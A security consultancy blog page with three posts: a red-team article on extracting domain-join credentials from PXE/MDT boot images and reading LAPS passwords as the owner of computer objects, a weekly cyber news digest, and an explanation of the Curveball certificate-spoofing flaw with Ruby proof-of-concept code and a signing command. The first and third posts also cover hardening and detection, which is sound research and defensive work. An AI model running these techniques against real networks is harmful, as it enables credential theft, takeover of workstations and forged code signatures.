Le blog des experts sécurité Wavestone

Taking over Windows Workstations thanks to LAPS and PXE

The workstation remains one of the favorite targets during Red Team operations. However, its security level has drastically increased with security solutions such as Bitlocker or LAPS. Can these improvements introduce new attack paths?

In this article we will examine how the combination of two good security solutions with no apparent connection to each other can lead to the takeover of all workstations in a Windows environment. The main advantage of this technique is that it is exploitable in black box, i.e. without any prior knowledge of the target.

Automated mastering of workstations

Deploying and configuring large numbers of workstations is a tedious task that can benefit from automation using tools such as Microsoft Deployment Toolkit (MDT) or System Center Configuration Manager (SCCM). These technologies allow, for example, to install a Windows image on a workstation from a network access and to automate its integration into the company's Active Directory.

Microsoft Deployment Toolkit (MDT)

Microsoft Deployment Toolkit [MDT] is a Microsoft tool that allows deploying a Windows image with a predefined configuration. MDT captures a Windows image (".wim" format) and uses it to deploy Windows to new devices. To accelerate the deployment of a new device, these files are deployed on the network so that the workstation can boot on the network through PXE. By default, they are publicly accessible (without authentication) using the Trivial FTP protocol (TFTP).

Boot PXE

The PXE boot (Pre-boot eXecution Environment) allows a workstation to boot from the network. It relies on a specific DHCP server response defined in RFC 4578 [DHCP & PXE].
The PXE client sends a DHCP request with specific options related to PXE and the DHCP server response give, in addition to the usual IP addressing information, the location of the pre-boot file on the network, accessible via TFTP.

Fig. 1 : Download « wim » image

Once the image is loaded, the client installs the content on the local disk and integrates it into the Active Directory through a dedicated service account included in the PXE pre-boot image. Once the installation is completed, the workstation is functional and the enrollment in the Active Directory is effective.

Retrieval of sensitive data

These PXE boot features have already been studied by many people [NETSPI] and are useful for an attacker because they allow extracting sensitive information. Indeed, an attacker can boot on PXE and take advantage of this automated process to obtain a standard workstation in the target domain, without prior information.

In particular, it is possible to :
  • Press F8 key during the Windows PE deployment phase, which prompts an administrator console on the machine. This provides access to the contents of the file system that will be deployed to the workstation.
  • Press Shift+F10 during the setup process will bring up a system console. For example, a local administrator account could be added on the device or the SAM and SYSTEM databases could be extracted to obtain the default password hash of the local administrator account;
  • Extract and analyse the memory of the workstation during the setup in order to extract sensitive information;
  • Retrieve the pre-boot image file ".wim" to access all the settings: password of the service account used for integration in the domain, files containing default passwords such as "unattend.xml", etc.

The next section will focus on this last option.

Searching and extracting the image file

In order to make it easier to obtain the pre-boot image from a DHCP request, we developed a Powershell [POWERPXE] script to automate the following steps (additional steps are present in the case of SCCM [SCCM & PXE]):
  • Initialization of the DHCP exchange in "discover" mode;
  • Extraction of the location of the boot configuration file ".bcd" in the DHCP response;
  • Downloading the "bcd" file via TFTP;
  • Extraction of the location of the ".wim" image store in the boot configuration file;
  • Downloading the ".wim" image via TFTP;
  • Searching for plain text passwords, especially in the "Bootstrap.ini" and "CustomSettings.ini" files.

This script needs to be run as an administrator to change the network interface configuration as well as open the boot configuration file.

To test this script, the reader could use the AutomatedLab [AUTOMATEDLAB] project and a specific configuration file hosted on GitHub [POWERPXE]. This lab consists of :
  • A "" domain controller;
  • A server with the "MDT" role exposing a DHCP service, network directories and a TFTP interface;
  • A server to test the attack, it is also possible to test the script with a simple network access.

PS > Import-Module .\PowerPXE.ps1 PS > Get-PXECreds -InterfaceAlias "lab 0" >> Get a valid IP adress >>> >>> DHCP proposal IP address: >>> >>> DHCP Validation: DHCPACK >>> >>> IP address configured: >> Request BCD File path >>> >>> BCD File path: \Tmp\x86x64{5AF4E332-C90A-4015-9BA2-F8A7C9FF04E6}.bcd >>> >>> TFTP IP Address: >> Launch TFTP download >>>> Transfer succeeded. >> Parse the BCD file: conf.bcd >>>> Identify wim file : \Boot\x86\Images\LiteTouchPE_x86.wim >>>> Identify wim file : \Boot\x64\Images\LiteTouchPE_x64.wim >> Launch TFTP download >>>> Transfer succeeded. >> Open LiteTouchPE_x86.wim >>>> Finding Bootstrap.ini >>>> >>>> DeployRoot = \\LAB-MDT\DeploymentShare$ >>>> >>>> UserID = MdtService >>>> >>>> UserPassword = Somepass1 [...]
Note for the reader: if the account used to join the domain is in the "Domain Admins" group, it is your lucky day!!! #TrueStory

Going further

This account is generally not tagged as sensitive, it may be found in other locations: SMB shares, SharePoint, etc.
Also, if the PXE boot is restricted to a specific network zone, the ".wim" file or the associated configuration files "Bootstrap.ini" and "CustomSettings.ini" are generally accessible on file shares with little access control. In this case, read access to this file allows to perform the attack described in the next section.

From domain join to administrative privileges on all workstations

The privilege « Domain Join »

The "Domain Join" privilege (or joining a device in the domain) corresponds to the Active Directory privilege "Add workstation to domain" [JOIN-DOMAIN]. In the default configuration, any authenticated user can join up to 10 machines to the domain.
However, in most companies, this privilege is restricted via a GPO (Group Policy Object) present in the domain.
  • Computer Configuration
    • Windows settings
      • Security Settings
        • User Rights Assignment
          • Add Workstations to the Domain

By default, the "Account Operator" group has the necessary privilege to join a machine to the domain. However, it is not recommended to use it because the privileges of this group are too high: for example, it allows opening an interactive session on the domain controllers.
Usually a dedicated service account is created: this is a basic domain account with only specific privileges to be able to join a workstation to the domain.
When a machine is integrated into the domain, an object of the class "computer" is created in the Active Directory. The user account used to create this object, i.e. joining a machine, is defined as the owner of this object.

How LAPS works

As the machines are deployed from a single template, the password of the local "Administrator" account (builtin, aka RID 500) is the same on all machines. This configuration is a vulnerability because it allows pivoting on all the others in case of compromise of a single machine. The robustness of the local account password is not even considered because it will be possible to move laterally with Pass The Hash (PtH).
The "Local Administrator Password Solution" tool, LAPS, allows modifying and managing the passwords of one local account automatically.
When the LAPS solution is installed, two security attributes are added to the machine class:
  • The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users
  • The "ms-mcs-AdmPwdExpirationTime" regular attribute computer attribute that stores the LAPS password reset date/time value.

The "Find-AdmPwdExtendedRights" command inside the LAPS PowerShell module (the AdmPwd.PS module) identifies groups or users who can access the LAPS passwords. Indeed, this module lists the users with read access on the "ms-mcs-AdmPwd" attribute:

PS > Import-Module AdmPwd.PS PS > Find-AdmPwdExtendedRights | fl ObjectDN : OU=COMPUTER,DC=lab,DC=fr ExtendedRightHolders : {LAB\LAPS_recover, LAB\Domain Admins}

Taking over workstation thanks to LAPS

The owner of an object and the privileges granted to users (or other objects) on that object are stored in a security descriptor. Access rights (i.e. privileges) take the form of a DACL (Discretionary Access Control List) composed of ACEs (Access Control Entries), where each ACE describes one or more permissions granted or denied to a user.
The following script extract the privileges granted by default (via ACEs) to the owner of a computer object:

Import-module ActiveDirectory ## Extraction de la configuration par défaut d’un objet « computer » $computerobject = Get-ADObject -SearchBase (Get-ADRootDSE).SchemaNamingContext -Filter {Name -eq "Computer" } -Properties defaultSecurityDescriptor ## Creation d’un objet permettant la gestion des ACL $sec = New-Object System.DirectoryServices.ActiveDirectorySecurity $sec.SetSecurityDescriptorSddlForm($computerobject.defaultSecurityDescriptor) ## Recherche des privilèges du propriétaire de l’objet $acc = New-Object System.Security.Principal.NTAccount("CREATEUR PROPRIETAIRE") ## ou "CREATOR OWNER" $sec.GetAccessRules($true,$false,[System.Security.Principal.NTAccount]) | Where-Object {$_.IdentityReference -eq $acc}

The result of the command contains, among other things, the following ACE:

ActiveDirectoryRights : DeleteTree, ExtendedRight, Delete, GenericRead InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : CREATEUR PROPRIETAIRE IsInherited : False InheritanceFlags : None PropagationFlags : None

The owner of an object, inherited from the class "computer", has by default the privilege "ExtendedRight". However, the "ExtendedRight" privilege, or rather "All extended rights" in the graphical interface, allows access to the LAPS password.
For example, the password can be accessed using PowerView :

PS > Import-Module .\PowerView.ps1 PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime ComputerName : COMPUTER ms-mcs-AdmPwd : 9g)4G+35w;2$ ms-mcs-AdmPwdExpirationTime : 08/04/2019

The account used to join a machine in the domain can compromise it if LAPS is deployed. Furthermore, if the same account is used to perform all domain join, as is often the case using MDT or SCCM, the service account can take over all workstations.
The owners of the "computer" objects can be identified with the following commands:

Import-module ActiveDirectory $computers = Get-ADComputer -Filter * foreach ($comp in $computers) { $comppath = "AD:$($comp.DistinguishedName.ToString())" $acl = Get-Acl -Path $comppath Write-Host $comp.SamAccountName $acl.Owner }


Protect the PXE boot sequence

To avoid an attacker with access to the corporate network booting into PXE, it is strongly recommended that the ability to boot this way is limited to specific network areas, such as dedicated rooms with physical access control.
On the other hand, it is also recommended to require a password before starting the deployment. This can be configured by checking the "Require a Password when computers use PXE" checkbox in the SCCM configuration.
More generally, Microsoft's recommendations for deploying PXE [PXE SECURITY] are a good starting point to secure any PXE installation.

Removing ExtendedRights Privileges, a False Good Idea

Microsoft proposes also to reduce the privileges of the creator owner of the object so that he can no longer access the security attributes related to LAPS [LAPS-PERMISSION]. This first solution involves changing the defaultSecurityDescriptor of the "computer" class to remove the privilege "ExtendedRights" from the user "OWNER CREATOR". The default value, in SSDL format, is :
It will become:
Thus, every owner of an object of the "computer" class loses the extended attributes and can no longer access the LAPS attributes: that's it!
Unfortunately, this configuration change is not enough. Indeed, the owner of an object [OWNER] has implicitly the "Write-Dacl" privilege on this object. With a little subtlety: the "Write-Dacl" right of the owner is not specified in the ACL of the object but exists.
As its name indicates, "Write-Dacl" allows to write an ACE in the DACL. It is possible to auto-grant the privilege "GenericAll" or "ExtendedRights" on an object.
This path can be visualized with BloodHound since version 2.0 (August 2018):

Fig. 2 : BloodHound Path

This path can be exploited with PowerView with the following command to add the "GenericAll " privilege on the "COMPUTER" device (commands have to be run as the owner user of the object) :

PS > Import-Module .\PowerView.ps1 PS > Add-DomainObjectAcl -TargetIdentity COMPUTER -Rights All PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime ComputerName : COMPUTER ms-mcs-AdmPwd : 9g)4G+35w;2$ ms-mcs-AdmPwdExpirationTime : 08/04/2019

A "deep" hardening

The owner of a computer object can still read the LAPS password. A first "homemade" solution is to regularly follow and change all owner.
For example, it is possible to define the "Domain Admins" group:

Import-module ActiveDirectory $computers = Get-ADComputer -Filter * foreach ($comp in $computers) { $comppath = "AD:$($comp.DistinguishedName.ToString())" $acl = Get-Acl -Path $comppath $objUser = New-Object System.Security.Principal.NTAccount("<DOMAIN>", "Domain Admins") $acl.SetOwner($objUser) Set-Acl -Path $comppath -AclObject $acl }

Microsoft also offers a second solution by manually changing the privileges of the owner of an object [OWNER-RIGHTS] at the OU level:
  • Open the Active Directory Users and Computers snap-in
  • Right-click the OU on which you want to implement Owner Rights, and then click Properties
  • In the Properties box of the OU, click the Security tab
  • Under Group or usernames, click Add
  • Enter "OWNER CREATOR" or "CREATOR OWNER" in the text box.
  • Define the permissions granted to the owner of an object

A specific definition of the privileges of the "OWNER CREATOR" user on the OU, i.e the creation of explicit ACE, take precedence over the implicit privileges.
However, this technique must be tested on a test environment before being deployed in production.


Taken individually, PXE and LAPS provide high security value within an information system. However, the combination, even when properly configured, can lead to the compromise of a large part of the information system.
Today, the article has focused on windows deployment and LAPS but other solutions with high privileges on a lot of computers (WSUS, antivirus or backup agent) can allow pivoting inside the IS.

Cyprien OGER

French original publication : MISC n° 103


CERT-W: Cybersecurity watch of January events

You will find below our weekly report on cybersecurity news. Use this brief compilation to support your coffee break small talk!

Cybercrime watch

Jeff Bezos phone hacked: publication of the technical report

For many months, the phone of Jeff Bezos has been sending out private, sensitive and/or confidential data. After months of forensic, analysts did not found any malware installed on the phone in data extracts and iTunes backup given by J. Bezos, but a suspicious video sent through WhatsApp.
Since the reception of the video, Bezos' phone started to send more than 120MB of data per days.
The spyware has not been found in the iTunes backup because iTunes does not create a back-up for system files but only for messages, videos, etc... Thus, in order to find this malware, analysts should jailbreak Bezos iPhone in order to get a root account on the phone and then access to system files.

Half a million IOT devices passwords publicly published

An hacker has published a list of 515,000 credentials of servers, router, and IoT. The list included the device's IP and the username for the telnet service. Thus, these devices can be remotely controlled over the Internet to create a botnet for example (remember Mirai).
This list was compiled by scanning the whole internet for devices exposing their telnet port. Then, default credentials were tried as well as a list of common credentials.

Ryuk's last strike: Tampa Bay Times

The Ryuk crypto-locking malware has strike a great number of major US newspaper since December 2018. After the Chicago Tribunes or the Los Angeles Times, it is the turn of the Tampa Bay Times to suffer a loss from this ransomware. The attack did not success to compromised payment data and the online publications were not interrupted. Thank to their well thought recovery plan, the newspaper is actively restoring its information system.
The Ryuk ransomware start to weaponize Microsoft Office documents with the injection of malicious macro designed to run powershell commands. Those commands will download the Emotet banking trojan which will download another malicious payload as a TrickBot.

Vulnerability watch


The first security patch of the decade released by Microsoft for Windows 10 shows a vulnerability in the cryptography library handling elliptical curve cryptography. This vulnerability allows attackers to spoof a legit certification authority (CA) in order to signed malicious windows executable files as well as TLS certificates. This vulnerability affects all version of Windows 10 but can only be applied on CA using elliptical curve cryptography.


RDP Gateway are servers used as a RDP protocol router. Indeed, all RDP connections from the outside will target the RDP Gateway server which will redirect the connection to the correct computer. This allows reducing the attack area of the information system. However, the CVE-2020-0609, known as BlueGate, shows that RDP Gateway servers are affected by a memory corruption bug allowing remote execution code without authentication.
The code responsible for this vulnerability located in the section handling UDP request. Therefore, only UDP implementations of RDS Gateway are vulnerable.


The script engine of Internet Explorer allows an attacker to remotely execute commands on the underlying computer.
This vulnerability is due to a bug in the jscript.dll file used to parse JavaScript objects stored in memory.
This CVE echoes back to the RCE identified as CVE 2018-8653 which also affected Internet Explorer.

Weekly top

The top leak - Microsoft data breach: 250 million records exposed

A database used for "support case analytics" was available in the cloud to anyone. This database was used to store logs of conversation between Microsoft support agents and customers from all over the world.
Majority of data was anonymized but many of them still contain personal data. The data exposed include:
- Customer email addresses
- IP addresses
- Locations
- Descriptions of CSS claims and cases
- Microsoft support agents emails
- Case numbers, resolutions, and remarks
- Internal notes marked as “confidential”
Even if the data was publicly exposed for almost three weeks, there is no proof of malicious use. However those data could be used later by scammers in order to impersonate call center agents.

The top exploit - Malwares deployed on unpatched Citrix servers

The Revil ransomware gang is using CVE-2019-19781 to deploy ransomware on unpatched Citrix servers. These attacks began in January 11 when a proof of concept for the related CVE was published.
Many companies were not able to update their Citrix because of a lack of official patch for their Citrix kernel. However, the number of unpatched servers goes down from 80 000 in mid december to 11 000 in mid January.
Moreover, Citrix and FireEye have developed together a script that Citrix owners can run in order to verify if their appliances had been already hacked using the CVE.

The top attack - Hackers target European energy firm

The security firm Recorded Future has found a group of hackers (who have been using open source tools as the trojan Pupy) targeting an European energy firm network. The Recorded Future firm suspects the APT33 hacker team. This team is suspected to have links with the Iranian intelligence and is known to have used the same open-source tools than those used to attack the European energy firm.
In the last few years, energy firm have been more and more targeted by advanced persistent threat. Thus, these companies are advised to harden their security with simple mechanisms such as multiple factor authentication and to monitor connections coming from outside of their networks.

Software version watch

Current version
Adobe Flash Player
Adobe Acrobat Reader DC
Mozilla Firefox
Google Chrome


CVE-2020-0601 – A curveball breaking the trust

The latest Windows patch released by Microsoft highlights the fix of an important security breach in a cryptography module of Windows. The goal of this article is to present this vulnerability, named CVE-2020-0601 or "Curveball", and the associated risks.
A proof of concept code exploiting the vulnerability is described at the end of the article.

The pride of trust in today’s information systems

Certificates: extend the trust of one entity to another

Today’s information systems operating is based on trust. Indeed, when someone installs a software on their computer, they cannot be sure they are not installing a malware. The user has no other choices than to trust the software editor in order to use their services.
It is the same when someone is browsing the Internet. The user initiates a connection with a server but cannot be sure if the server which is answering is the one they want to communicate with. The user needs to trust the server’s identity in order to access its resources.
To reduce this trust problem, public-key cryptography is used in order to generate certificates. These certificates are, in a way, a server’s ID. When a user wants to verify the identity of the server they are communicating with, the server sends back its certificate as a proof of identity.
To enforce the trust, certificates are not generated by the server itself but by another independent trusted authority. Moreover, the information contained in the certificate is signed, using public-key encryption and hashing cryptographic algorithms. The certificate hosts the server's (or subject) public-key, while its private key is only known to the server. The to-be-signed certificate is then signed with the authority's private key, which only known by the certificate signer (or issuer). 
This signature prevents modification on the certificate content. Indeed, if someone tries to modify the certificate’s content, the signature provided with the certificate will not match its content – the certificate is then considered null and cannot be used as a valid proof of identity or trusted.
As said, the certificate is issued by an independent entity/company called a "Certification Authority". Thus, to be taken as a valid proof of identity, the certification authority needs to be trusted by the user. For example, if the user trusts a company A, they will also trust all servers presenting a valid certificate issued by this company. Certificates help to reduce the number of trusted companies and services as shown in the following figure:

Trust relations between the user, the certificate issuer, and the entities using certificates

Certificates are used everywhere a proof of identity is required:
  • HTTPS connections use certificate to ensure the server identity:
Simplified version of HTTPS connection initialization

  • Editors sign their software using Authenticode to prove its source:

Proof of editor identity verification failed when a software is installed on Windows

  • Mail systems can use certificates to ensure the sender and receiver identity (using S/MIME)
  • And many other systems...

Short introduction to elliptical curve

Certificates are signed using public-key algorithms such as the well-known RSA algorithm. However, today, RSA is gradually replaced by new algorithms based on elliptical curves.

An elliptical curve is a group of points that all solve a given equation. Elliptical curves can be sorted in different categories depending on the shape of their equation. For example, Weierstrass curves are curves whose points’ coordinates x and y solve the following form of equation:

y= x3 + ax + b,    with a and b two given constants

The parameters a and b define completely the elliptical curve. Once the elliptical curve is chosen, specific algorithms can be used in order to encrypt or sign messages.

To be able to use public-key cryptography features, public and private keys need to be defined. In elliptical curve cryptography, the private key is defined as a random number. The public key is defined as a point on the curve, resulting of the “multiplication” (in a way that is proper to elliptical curves) of the private key with a special point of the elliptical curve, called the generator
If P is the public key, d the private key and Q the chosen generator, then the following equality holds:

P = dQ

This equality is known as the elliptical curve discreet logarithm problem (ECDLP) which imply that even if only P and Q are known, it is computationally impossible to recover the value of d – in other words, if the public key and the generator point are known, it should be impossible to guess the private key.

Use elliptical curve cryptography in software

Today, some certificates are signed using elliptical curve cryptography. There are many ways to implement elliptical curve cryptography. It is possible for companies to create an elliptical curve cryptography module by themselves, but it is strongly discouraged for non-cryptography experts to do so. Indeed, any slight error during the module’s implementation can jeopardize the robustness of the whole cryptography. Instead, it is advised to rely on modules developed and tested by trusted companies, like Microsoft.

Indeed, Microsoft developed an elliptical curve cryptography module available on all Windows system after Windows 8.1 (excluded). This module is available in the Crypt32.dll library and can be used in C programs.

For example, the Chromium project, which is the ground of the actual Google Chrome browser, uses the Crypt32.dll module to perform elliptical curve cryptography operations. This information can be found in the source code of the Chromium project on GitHub (

Today, many applications rely on Microsoft’s library to perform elliptical curve cryptography operations:

Implementation of elliptical curve cryptography using the Crypt32.dll library

The CVE-2020-0601

Vulnerability explanation

This vulnerability concerns the CertGetCertificateChain function of the Crypt32.dll module and, by extension, it affects all of the applications relying on this module to handle elliptical curves cryptography. 
The publicly available vulnerability report shows that when checking a certificate against its cache of already trusted certificates, Crypt32.dll only compares the public keys and elliptical curves. The generator point however, which is not part of the elliptical curve and can be redefined inside a certificate, is not checked.
When trying to spoof a legitimate certificate that is already trusted by Windows, an attacker can thus choose an arbitrary generator point and private key to create a rogue certificate that uses the same curve and have the same public key. Under these conditions, the checks performed by Crypt32.dll will pass and the rogue certificate will be considered as “already known and trusted”.

Constructing a corresponding rogue certificate, if its generator Q’ is set to the spoofed certificate’s public key P, and its private key d’ is chosen to be equal to 1, then the public key of the rogue-certificate will simply be:

P' = d' . Q' = 1 . P = P

Since both certificates will have the same public key (and use the same elliptical curve), Crypt32.dll will wrongly mistake the rogue certificate for the legitimate one (actually, there are ways to get the same result using a private key d’ different from 1, but this is the simplest technique).
At this moment, the attacker can spoof a certification authority’s certificate, and forge as many sub-certificates as they want. These certificates will be considered valid by Crypt32.dll and can then be used to authenticate a web site identity, digitally sign executables, etc.

Impacted scope

This vulnerability does not target elliptical curve cryptography in itself but only one implementation of the X509 verification mechanism – the one provided by the Crypt32.dll library.
Only Windows systems which are able to handle elliptical curve cryptography are impacted by this vulnerability, so it affects all versions of Windows 10, Windows Server 2016 and Windows Server 2019. Previous Windows versions did not support elliptical curve cryptography.

Exploitation scenario

Man-in-the-middle: breaking TLS

The TLS protocol aims at establishing a secure connection between a client and a server. It relies on cryptography in order to:
  • Generate a common shared secret between the client and the server;
  • Verify certificate in order to prove the server identity (and in some cases the client’s);
  • Encrypt and sign application data exchanged between the client and the server.

The TLS session is established in four steps.
  1. Client and server exchange public keys and information about algorithms they will use during the session establishment;
  2. The server proves its identity with a certificate;
  3. Client and server generate a shared secret, e.g. using the Diffie-Hellman protocol;
  4. Client and server generate an encryption key from the shared secret and the certificates’ public key for symmetrical cryptography algorithm as AES.

The TLS protocol prevents man-in-the-middle attacks with multiples features : certificates, application data encryption and message integrity checks. If an attacker tries to act as a deciphering proxy between the client and the server to decrypt all communications, they will not be able to provide a valid certificate during session establishment, so the client will know they are establishing a connection with the wrong server.
However, if the attacker generates a rogue certificate as explained in the previous part to spoof the server’s certificate and if the client is using the Crypt32.dll library to check the certificate’s validity, the attacker will be able to act as a MiTM proxy in protocol break. The attacker can establish a TLS session with the client and the server separately and is able to decipher all exchanged packets.
As said in the beginning, many pieces of software are using the Crypt32.dll library to handle elliptical curve cryptography; among them are the browsers Google Chrome, Internet Explorer, EDGE and Opera.

Services impacted

It is easy to see that standard features based on the CertGetCertificateChain function are impacted. This list includes features such as:
  • TLS validation in SSL communications in browsers
  • S/MIME signatures in email communications
Alternatively, Office features such as document signature or macro signature are also impacted. Since most enterprise-configured Office installation won't execute macros if not digitally signed, malicious macro will be able to execute if the signature is spoofed. This will in turn ease phishing campaigns.

Is WSUS vulnerable?

In enterprise networks, workstations and server which are enrolled in the Active Directory are often updated using a WSUS server. This server will get updates from Microsoft and distribute them on all computers enrolled in the AD. 
With CVE-2020-0601, it is possible for an attacker to spoof the WSUS server certificate by generating a fake "valid" certificate. This would allow for in-flight modifications between the WSUS server and its clients.
Then, the WSUS client checks the Authenticode of the update in order to avoid installing a rogue. The Authenticode is a Microsoft code-signing technology that allows to identify the publisher of the code as well as ensure that the code was not modified since it had been signed. 
When a user installs a software, the Authenticode is verified, and a warning is displayed if the verification failed. This technology is used to avoid the installation of software coming from un-trusted editor.
Though the verification of the Authenticode is also based on the CertGetCertificateChain function of the Crypt32.dll module, the system will also check that the software-signing certificate has been issued by a key-pinned RSA-signed Certification Authority. This will prevent attackers from maliciously signing Microsoft updates.

Impact in an Active Directory environment

However, there are lots of impacts in the Active Directory environment despite the fact that Microsoft updates cannot be faked.
For example, the following services can be impacted:
  • SSL/TLS communications in AD environment (for example if LDAPS is used)
  • SCCM pushing non-Microsoft signed software on computers
  • Digitally signed Powershell scripts
  • ECC-signed certification authorities in the NtAuth certificate store (which in turn allows for user impersonation)

Proof of concept

The goal of this POC is to sign an executable using a certificate issued by a rogue Certification Authority certificate, generated from a legitimate CA certificate (and trusted by our operating system). This POC is inspired by the POC published on github by OllyPwn (
To work, the legitimate CA certificate needs to use ECDSA signature. For example, the certificate given by the USERTrust ECC Certification Authority can be used, since it is using the NIST P-384 curve.
The first step is to forge a spoofing key for our rogue CA, with the parameter d set to 1 and the generator set to the value of the public key given in the USERTrust CA certificate.

def gen_rogue_key(trusted_ca) # Parse public key from CA ca_key = trusted_ca.public_key if !(ca_key.instance_of? OpenSSL::PKey::EC) then puts "CA NOT ECC" puts "Type: " + key.inspect exit end # Set new group with fake generator G = Q ca_key.private_key = 1 group = group.set_generator(ca_key.public_key, group.order, group.cofactor) group.asn1_flag = OpenSSL::PKey::EC::EXPLICIT_CURVE = group return ca_key # Then, a new rogue CA certificate is generated using the fake key previously generated. This operation is done using the generate_rogue_ca function. def generate_rogue_ca(trusted_ca_filename, issuer="", subject="") # Create the rogue AC raw = trusted_ca_filename trusted_ca = ca_key = gen_rogue_key(trusted_ca) ca_cert = ca_cert.version = 2 ca_cert.serial = 1 if issuer != "" then ca_cert.issuer = OpenSSL::X509::Name.parse issuer else ca_cert.issuer = trusted_ca.issuer end if subject != "" then ca_cert.subject = OpenSSL::X509::Name.parse subject else ca_cert.subject = trusted_ca.subject end ca_cert.public_key = ca_key # Set validity timeframe ca_cert.not_before = ca_cert.not_after = ca_cert.not_before + 2 * 365 * 24 * 60 * 60 # Set certificate extensions ef = ef.subject_certificate = trusted_ca ef.issuer_certificate = trusted_ca # CA extension ca_cert.add_extension(ef.create_extension("basicConstraints","CA:TRUE",true)) # Key used to sign certificates ca_cert.add_extension(ef.create_extension("keyUsage","keyCertSign, cRLSign", true)) ca_cert.add_extension(ef.create_extension("authorityKeyIdentifier","keyid:always",false)) ca_cert.add_extension(ef.create_extension("subjectKeyIdentifier","hash",false)) ca_cert.sign(ca_cert.public_key, return ca_cert # Create a fake CA csr = generate_csr(ca, subject) cert = sign_csr(csr, ca) pkcs12 = gen_pkcs12(cert, ca) open pkcs12_filename, 'w' do |io| io.write pkcs12.to_der end

Now that the rogue certificate is generated, it is possible to sign an PE file. On UNIX system, the tool osslsigncode can be used.
osslsigncode sign -pkcs12 ./cert.p12 -t -in file.exe -out file_signed.exe

It is then possible to verify the Authenticode signature on Windows system. If the executable is signed by un untrusted entity the sigcheck tool of Windows return the following value.
However, when the file is signed with the rogue certificate, the same tool returns the following value.
Thus, the signature is verified and accepted by Microsoft even if the used certificate used is not a legitimate certificate.

What to do now?


It is of the utmost importance to patch the affected systems (Windows 10 and Windows Server 2016/2019) to provide a system-wide fix to the vulnerability. The TechNet article from Microsoft can be used to download single upgrades, but it is recommended that the update is synced in your WSUS and deployed large-scale.

Exploit detection

There are multiple levels at which exploit detection can occur. These levels are directly related to the different attacks leveraged by Curveball. 

File level

At the file level, Curveball allows targeting the Authenticode mechanism to spoof an executable signature or miscellanous other signature mechanisms such as Office or PowerShell.
As the certificate needs to be provided with the signature (so that it can be verified), there are static means of detecting an exploit attempt by extracting the certificate and checking for malicious public-key parameters (non-standard generator). Windows Defender (in its latest version) and some antivirus software are already implementing this to help detect malicious executables.

Network level

In theory, network appliances, such as proxies or Intrusion Detection/Prevention Systems (IDS/IPS)  could implement rules that would parse the certificates present in SSL streams to raise alerts when Curveball certificates are found. Since the server certificate is presented by the server during the SSSL/TLS handshake, there is no need for SSL decryption at the appliance level.

System-wide detection

In theory, one could implement detection mechanisms at the CertGetCertificateChain level, by proxying all calls performed by processes on the system to that specific function. Endpoint Detection Response (EDR) are already performing such types of checks to prevent malicious processes from accessing the lsass.exe process memory for example. Rules could be added to inspect the parameters passed to the CertGetCertificateChain that would check all of the certificates in the chains for a maliciously crafted one and return a validation error.


Currently, the only investigation means available are by checking on Windows Defender / antivirus alerts for malicious executable. At the system level, it is not possible to retroactively investigate before the time when security software was updated to detect Curveball certificates.

On the network, it could be possible to investigate if certificate chain caching or logging was performed on the proxy / IDS / IPS appliance, but it does not seem to be a feature offered by current vendors. However, one could correlate advanced Passive SSL services (that would need to be able to detect Curveball) with proxy logs to raise alerts for its users.

What to do? How can I do it (if possible)?
  • Patching systems and security software as soon as possible
  • Detection
  • Using security software (Windows Defender, antivirus)
  • Implementing rules in IDS/IPS/Proxy that support certificate parsing
  • Implementing advanced rules in EDR software to monitor calls to CertGetCertificateChain
  • Forensics
  • Investigating in security software logs – not possible before updates

  • Conclusion

    To conclude, trust is an important notion in information systems. Trust is often insured by independent entities which provide certificates to servers in order to prove their identity. These certificates compile information about the server and cannot be modified excepted by the entity providing it.
    The CVE-2020-0601 is a vulnerability which affect the certificate verification function in the Crypt32.dll module provided by Microsoft. Because of this vulnerability, every application or service relying on Windows’ API to handle certificates can be affected by this vulnerability. Among others, most of Web browsers on Windows (using the SSL/TLS protocol), Windows code signing mechanism (Authenticode) or the Windows Update service are directly threatened by this vulnerability.
    However, because this vulnerability only affects certificates whose signature was generated with elliptical curve cryptography, Windows versions strictly older than Windows 10 are not at risk.